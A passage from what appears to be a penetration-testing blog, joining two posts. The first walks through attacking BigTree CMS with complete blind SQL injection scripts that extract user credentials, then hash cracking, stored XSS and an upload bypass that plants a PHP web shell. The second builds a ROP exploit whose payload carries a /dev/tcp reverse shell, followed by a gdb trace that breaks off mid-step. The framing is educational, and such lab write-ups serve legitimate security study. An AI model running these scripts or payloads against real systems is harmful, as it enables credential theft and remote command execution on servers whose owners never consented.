So we now have the database name and a table name from it, this is likely not the table we are really interested in though so another script is required to find out the rest of the table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                     "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                     "%28select%20group_concat%28table_name%20separator%20%27%20|" \
                     "%20%27%29%20from%20information_schema.tables%20where%20" \
                     "table_schema=%27bigtree%27%20and%20table_name!=" \
                     "%27bigtree_404s%27%29,{0},1%29%29=" \
                     "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

This is almost the same as the last script except I'm using GROUP_CONCAT to concatenate all the records and I'm excluding the bigtree_404s table.

Running it you get:

1
2
3
4
5
6
7
8
9
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-tables.py"
bigtree_audit_trail | bigtree_callouts | bigtree_feeds | bigtree_field_types | b
igtree_locks | bigtree_messages | bigtree_module_actions | bigtree_module_forms
| bigtree_module_groups | bigtree_module_view_cache | bigtree_module_views | big
tree_modules | bigtree_page_revisions | bigtree_pages | bigtree_pending_changes
| bigtree_resource_folders | bigtree_resources | bigtree_route_history | bigtree
_settings | bigtree_tags | bigtree_tags_rel | bigtree_templates | bigtree_users
| btx_dogwood_authors | btx_dogwood_categories | btx_dogwood_post_categories | b
tx_dogwood_posts | sample_features | sample_glossary

Obviously the table of most interest to us here is bigtree_users, now we need to figure out the column names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28column_name%20separator%20" \
                 "%27%20|%20%27%29%20from%20information_schema.columns%20" \
                 "where%20table_name=%27bigtree_users%27%29,{0},1%29%29=" \
                 "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Again this is very similar to the last 2 script, except now we are looking at the columns table of the information_schema database.

Running this you get:

1
2
3
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-columns.py"
id | email | password | name | company | level | permissions | alerts | daily_di
gest | change_password_hash

Now we have enough information to get the account details, I've chosen a few interesting columns to print:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28concat%28email,%27%20:%20" \
                 "%27,password,%27%20:%20%27,name,%27%20:%20%27,level,%27" \
                 "%20:%20%27,permissions%29%20separator%20%27%20|%20%27%29" \
                 "%20from%20bigtree.bigtree_users%29,{0},1%29" \
                 "%29={1}%20then%20sleep(3)%20else%201%20" \
                 "end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Running this we get:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-accounts.py"
[email protected] : $P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0 : Developer : 2 :

Cracking The Hash

So we have the details for 1 user account (the admin account in this case), now we should try to crack it.

For this I'll use john the ripper.

Let's try just a normal brute force for a while and if that takes too long we'll try a dictionary attack or something:

1
2
3
4
5
6
7
[email protected]:~# cat pwhash 
[email protected]:$P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0
[email protected]:~# john pwhash 
Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x3])
123321           ([email protected])
guesses: 1  time: 0:00:00:04 DONE (Thu Mar  5 16:28:41 2015)  c/s: 2826  trying: trident - 88888888
Use the "--show" option to display all of the cracked passwords reliably

Luckily this was a very insecure password and the hash was cracked very quickly using a brute force (this is another security issue, allowing weak passwords).

Some More Poking About

After logging in as the [email protected] user, you should see this:

Clicking around there are a number of interesting things, like a stored XSS in the footer social links, so by creating a footer link like this:

And while it doesn't run when viewed in the admin panel (bare in mind that the subtitle field is likely vulnerable too to make this less obvious):

When any normal page is visited, the attack is run:

And looking at this response in burp, we can see where our attack payload is put:

But, more interestingly, in Modules -> Features -> Add Feature I have the ability to upload pictures:

Unrestricted File Upload Vulnerability

So, first I just upload a normal image file.

For this I'm going to use this image (credits to Majonez who created it).

I just saved it with the filename one.jpg, select it in the form, put the title as one, click Save & Publish and I get this:

Its asking to crop the image, which probably means there is some sort of analysis done on the image.

Full Path Disclosure

At this point I decided to try to upload a plain PHP backdoor, so I clicked on the View Features button and was presented with this:

Obviously because I started uploading the image it created the feature but as I didn't crop it it hasn't finished creating the feature, this is a logic flaw in the application which may or may not lead to a security vulnerability.

Let's look at this feature:

So the logic flaw lead to a full path disclosure vulnerability, really the developers should have waited until all of the steps of creating the feature had completed before creating the feature, discarding any half created features after a timeout, also this error should be caught and dealt with gracefully.

Back To The File Upload

Anyway, we can continue by trying to upload the following PHP file:

1
<?php echo system($_GET['cmd']); ?>

This is just a very simple PHP backdoor which will take an input in the cmd argument of a query string of a GET request.

Trying to upload the file in the same manner as I did the image, I get:

The image size is 1 issue but it also says that it isn't an image file, this could just be a content type check or it could also check the file extension.

Hopefully we can beat both of these checks by using a real image but chaning the file extension to .php.

Firstly I will change the size to 1400x625, which is the size it wanted to crop the image to, I done this in GIMP in Image -> Scale Image...:

I saved this to two.jpg, renamed it to two.php and attempted the upload again:

So its uploaded successfully!

Right clicking on the new image and clicking Copy Image Location gives us the following url:

http://[ip]/BigTree-CMS/site/files/features/t_two.php

In that folder there is currently the following files:

Obviously, these will not work as PHP files yet because they contain no actual PHP code, we will sort that out in a minute, but we can see that both two.php and xlrg_two.php is very likely our original file, whereas t_two.php is a different version created by the application.

So I added some PHP code into the comments section of the image, using GIMP again, going to File -> Export..., putting three.jpg as the name and clicking Export:

Again, change the file extension from .jpg to .php and do the upload.

After, visit the following url to see if it has worked:

http://[ip]/BigTree-CMS/site/files/features/three.php?cmd=cat%20/etc/passwd

Obviously that didn't work :-(

After, a lot of trial and error, I decided to try search for other instances of <? (the opening of PHP code in PHP files) using the hex editor HxD:

There were 2 other instances (apart from the 1 in the commands section which contains my PHP code), here is the comment section in HxD:

I changed one of the values so that there were no other instances and tried again:

Clearly it didn't work, but at least now its not producing an error (its returning the actual content of the file instead of nothing which means those 2 extra <? where a problem).

I thought that maybe the application was stripping the comment section, so I used HxD again to insert my PHP code directly into the middle of the actual image:

Trying this file, gives us:

I now have the ability to run OS commands on the webserver.

PWNED!!! :-D

Conclusion

I think this post illustrates the different steps that might be involved in a full attack against a web application.

As you can see, there could be many vulnerabilities involved (I found at least 6 vulnerabilities in this application), each getting you closer and closer to the ultimate goal of RCE (remote code execution).

There will always be a reasonable level of trial and error when figuring out how to exploit most vulnerabilities, in all of the simplist cases, so a lot of patience is required to be successful!

Happy Hacking :-)

Further Reading

The Web Application Hackers Handbook by Dafydd Stuttard and Marcus Pinto (Here is the website that accompanies the book)

OWASP Testing Guide which can be viewed online or downloaded from here.

SQL Injection Attacks and Defense by Justin Clarke

Pentester Academy by Vivek Ramachandran has a number of relevant courses (WAP, Challenges and Python)

✇eXploit

Improving The ROP Exploit

By: 0xe7

So after the last post I kept thinking of ways that I could improve the exploit so I decided to do it.

If you haven't already read the last post on developing a ROP exploit, you should read that before this because I will not cover anything that I covered there and it is just a continuation of that. You can read it here.

As with any exploit development the main point of interest for improvement is reducing the size of the payload so this is where I will focus.

You can think about obfuscation and such in certain exploitations but when ROP is required obfuscation isn't really an option.

Why/How ROP Works

In the last post I didn't really go into much detail about why or how ROP actually works because the post was already pretty long but I thought I'd go into it a bit here.

In my post titled Basic Binary Auditing, in the section called Stack Frames I explain how function calls and returns work.

The important part of that in terms of ROP is how the function returns. A stack-based buffer overflow exploit is initiated when the vulnerable function returns.

This is because the return address that is stored on the stack is pop'ed off of the stack into eip (the instruction pointer).

This happens because when a function is returning it has no way of knowing where in the application code to continue executing.

Because of this the address that execution should return to after the function is finished is pushed onto the stack when the function is called so that it can be retrieved when its finished.

If you find a stack-based buffer overflow and you are able to send enough data to overwrite this address you can change the flow of execution and point eip wherever you want.

With ROP, understanding this concept is paramount to success. What you are doing is creating your own stack (the same as with return to libc).

The only difference between ROP and return to libc is that instead of "calling" actual library functions you are "calling" snipets of code that resemble the end of a function (a few instructions and then a return), which are called gadgets.

By inserting a bunch of gadgets 1 after another on the stack (chaining) you are controlling the execution flow of the application and with enough gadgets you can build a suitibly large application to do whatever you want.

If you understand this it becomes obvious that esp (the stack pointer) has now become your new eip.

By changing the value of esp you can actually create a new stack elsewhere, this becomes useful for various reasons, eg. if you are constraint for space on the stack (as with in kernel mode) you can allocate space on the heap insert your stack there and change esp to point to your new stack.

I will use this method in this exploit for making ROP function calls and explain how you can use this to make ROP conditional statements.

Moving The Data Section

Back to our exploit.

If you remember we put the data section of our payload at the end but we have 532 A's that we are sending in order to overflow the buffer.

The best way to reduce the size of our exploit to to make as much use of this section at the start as possible.

So we will now move the data section to the start.

I mentioned in the last post that using ////bin/bash instead of /bin/bash wasn't technically needed and was a bit of a waste of space but as we are moving this section to the padding section, which always has to be a fixed 532 bytes, we can leave it as is for now.

If we actually use the whole 532 bytes of this section I will make some changes here to reduce its size but as it is it makes calculations slightly easier.

A ROP Function

IMO, the most exciting part of this new exploit will be the implementation of a "function call".

In the last exploit we were using the same series of gadgets throughout the exploit to calculate addresses.

In a normal application we'd use a function for this, so I thought why shouldn't we here, looking through the avaliable gadgets I created this to do our address calculations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

Here the "return address" (the value on the stack that we need to put back into esp at the end) starts off in the eax register.

The function takes 2 "arguments", ecx, which should contain the starting address of the function, and ebx, which should contain the value 0xaaaaaaaa - [distance from the start of the function to the value we want the address of].

As the values we need to calculate are in the data section we want to stick this function below the data section (it could go before but we've have to change the last sub instruction to an add instruction).

The return value of this function is stored in edi when this function is finished.

Based on the gadgets we have avaliable there are 2 different ways, that I have found, we can set up the "call" for this function, the first is this:

1
2
3
0x0808385d : mov eax, ecx ; pop ebx ; pop ebp ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0xeeeeeeee : junk values to pop

And the second:

1
2
3
0x080a66af : xor eax, eax ; pop ebx ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0x0807629e : add eax, ecx ; ret

Both of these achieve the same outcome and certainly for our purpose there isn't any difference between the 2.

After 1 of these series of instructions we have the address of the function in eax, so we can call the function with the following gadget:

1
0x0807b086 : xchg eax, esp ; ret

This will put the return address into eax and begin execution at the start of our function.

Once our function returns the return value will be in edi, in our old exploit this value was always put into eax or edx.

We can get this value into eax using this gadget:

1
0x080a3f72 : xchg eax, edi ; ret

And if we want the return value into edx we can use this gadget:

1
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

With this gadget we can put a value straight into ebx setting up ebx for the next function call.

All addresses will now be calculated relative to ecx which should contain the address of the start of the function, therefore this should now be the first problem we approach and the final address of ecx should be set after we've finished with the function.

Testing The Exploit

We want to try to minimize the number of junk values as much as possible too so this should be kept in mind while putting the gadgets together.

At this point you should have notes similar to the following:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0xaaaaaa66 : 0xaaaaaaaa - distance to -c 0xffffffff (68)
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------- calculate address of long arg 0xffffffff
---------------------------- and write nulls there

Here I'm using the function to calculate the address of the first set of 0xffffffff (to terminate the long argument string) and writing nulls there.

The actual exploit is a very simple python script, as you should know from the first post, so I will only post the full script at the end when we have developed the final exploit.

You can break at the ret of the checkpass function and step through each instruction, here I will break at the function call and ensure that is working as expected:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
[email protected]:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/10xw $esp
>x/i $eip
>end
(gdb) display/x $eax
(gdb) display/x $ebx
(gdb) display/x $ecx
(gdb) display/x $edx
(gdb) display/x $edi
(gdb) display/x $esp
(gdb) break *0x0807629e
Breakpoint 1 at 0x807629e
(gdb) run
Starting program: /home/appuser/app-net 
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x0
(gdb) x/10xw 0xbfffe580
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
(gdb) x/xw 0xbfffe580 - 4
0xbfffe57c: 0x00000000
(gdb) x/xw 0xbfffe580 - 8
0xbfffe578: 0xdddddddd
(gdb) x/xw 0xbfffe580 - 12
0xbfffe574: 0xcccccccc
(gdb) stepi
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
=> 0x807b087 <intel_check_word+391>:    ret    
0x0807b087 in intel_check_word ()
6: /x $esp = 0xbfffe580
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe7cc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe584: 0x080a8576  0xaaaaaaaa  0x080748fc  0xeeeeeeee
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e
=> 0x80a3f73 <____strtold_l_internal+2499>: ret    
0x080a3f73 in ____strtold_l_internal ()
6: /x $esp = 0xbfffe584
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe588: 0xaaaaaaaa  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc
=> 0x80a8576 <_Unwind_GetDataRelBase+6>:    pop    eax
0x080a8576 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe588
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe58c: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080535be
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee
=> 0x80a8577 <_Unwind_GetDataRelBase+7>:    ret    
0x080a8577 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe58c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xaaaaaaaa
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe590
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x14
(gdb) stepi
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe594
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe598: 0x00000014  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x80535bf <malloc_info+239>: pop    ebx
0x080535bf in malloc_info ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141
=> 0x80535c0 <malloc_info+240>: pop    esi
0x080535c0 in malloc_info ()
6: /x $esp = 0xbfffe59c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141
=> 0x80535c1 <malloc_info+241>: pop    ebp
0x080535c1 in malloc_info ()
6: /x $esp = 0xbfffe5a0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141
=> 0x80535c2 <malloc_info+242>: ret    
0x080535c2 in malloc_info ()
6: /x $esp = 0xbfffe5a4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
